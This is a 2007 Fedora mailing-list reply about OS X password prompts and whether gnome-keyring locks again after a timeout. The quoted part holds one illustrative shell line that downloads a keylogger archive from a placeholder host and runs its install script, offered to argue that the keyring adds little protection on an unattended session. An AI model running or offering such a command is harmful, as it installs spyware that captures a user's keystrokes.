On Mon, 20 Aug 2007 13:26:35 -0400
"Colin Walters" <walters(a)redhat.com> wrote:
That is interesting; I honestly haven't used OS X at all. Does
OS X
also have a password on your account by default, or did you have to
explicitly set one?
That part is a bit fuzzy, but yes, I do believe when I created the user
I had to supply a password, and confirm it. It may allow login without
password, but it would still prompt for the password whenever you
needed to do something "systemy".
Does gnome-keyring have a sensible timeout? If I left my
workstation
> for a period of time and forgot to enable the screensaver, can
> anybody access my keyring contents, or cause something to be
> authenticated via my keyring?
Unrelated but - in my opinion gnome-keyring adds very little in terms
of security to this scenario.
wget
http://my.favorite.keylogger.example.com/linux-x86.tgz && tar
xzvf *.tgz && sh keylogger/install.sh
This was just more a general question. OS X has a timeout on that
password prompt I think (or else they just ask it every time for every
new app). I was thinking of how gnome-keyring could be used to manage
these prompts, but not if it is once unlocked always unlocked.
--
Jesse Keating
Fedora -- All my bits are free, are yours?